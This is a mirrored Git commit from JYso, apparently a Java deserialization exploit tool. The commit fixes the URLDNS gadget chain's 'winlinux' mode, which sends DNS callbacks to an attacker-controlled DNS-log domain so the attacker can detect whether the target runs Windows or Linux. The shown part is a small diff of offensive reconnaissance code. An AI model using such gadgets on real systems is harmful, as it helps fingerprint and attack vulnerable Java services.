mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-21 22:40:43 +08:00
fix: 修复urldns链bug
This commit is contained in:
@@ -3,3 +3,4 @@
|
||||
out/
|
||||
.DS_Store
|
||||
/build
|
||||
1.ser
|
||||
+1
-1
@@ -19,7 +19,7 @@ repositories {
|
||||
shadowJar {
|
||||
archiveClassifier = ''
|
||||
zip64 = true
|
||||
// minimize()
|
||||
minimize()
|
||||
manifest {
|
||||
attributes 'Main-Class': 'com.qi4l.JYso.Starter'
|
||||
}
|
||||
|
||||
@@ -537,21 +537,20 @@ public class URLDNS implements ObjectPayload<Object> {
|
||||
break;
|
||||
case "winlinux":
|
||||
//windows/linux版本判断
|
||||
|
||||
String os = System.getProperty("os.name").toLowerCase();
|
||||
String fsClass;
|
||||
|
||||
if (os.contains("win")) {
|
||||
try {
|
||||
Object linux = getURLDNSGadget("linux." + dnsLog, "sun.awt.X11.AwtGraphicsConfigData");
|
||||
Object windows = getURLDNSGadget("windows." + dnsLog, "sun.awt.windows.WButtonPeer");
|
||||
list.add(linux);
|
||||
list.add(windows);
|
||||
} else {
|
||||
Object linux1 = getURLDNSGadget("linux1." + dnsLog, "java.io.UnixFileSystem");
|
||||
Object windows1 = getURLDNSGadget("windows1." + dnsLog, "java.io.WinNTFileSystem");
|
||||
list.add(linux1);
|
||||
list.add(windows1);
|
||||
// Object linux1 = getURLDNSGadget("linux1." + dnsLog, "java.io.UnixFileSystem");
|
||||
// Object windows1 = getURLDNSGadget("windows1." + dnsLog, "java.io.WinNTFileSystem");
|
||||
// list.add(linux1);
|
||||
// list.add(windows1);
|
||||
} catch (Exception e) {
|
||||
log.error("e: ", e);
|
||||
}
|
||||
|
||||
|
||||
break;
|
||||
|
||||
case "all":
|
||||
|
||||
Reference in New Issue
Block a user